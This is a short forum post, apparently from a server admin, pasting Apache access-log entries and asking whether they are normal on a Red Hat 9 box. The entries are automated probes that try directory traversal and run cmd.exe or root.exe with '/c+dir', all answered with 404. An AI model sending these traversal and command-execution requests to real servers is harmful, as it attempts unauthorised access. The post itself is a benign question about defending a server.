I get a lot of this type of stuff:
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 314
"GET /scripts/root.exe?/c+dir HTTP/1.0" 404 293
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 291
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 332
"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 332
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348

Is that stuff normal? This is same version of apache as above run on redhat 9.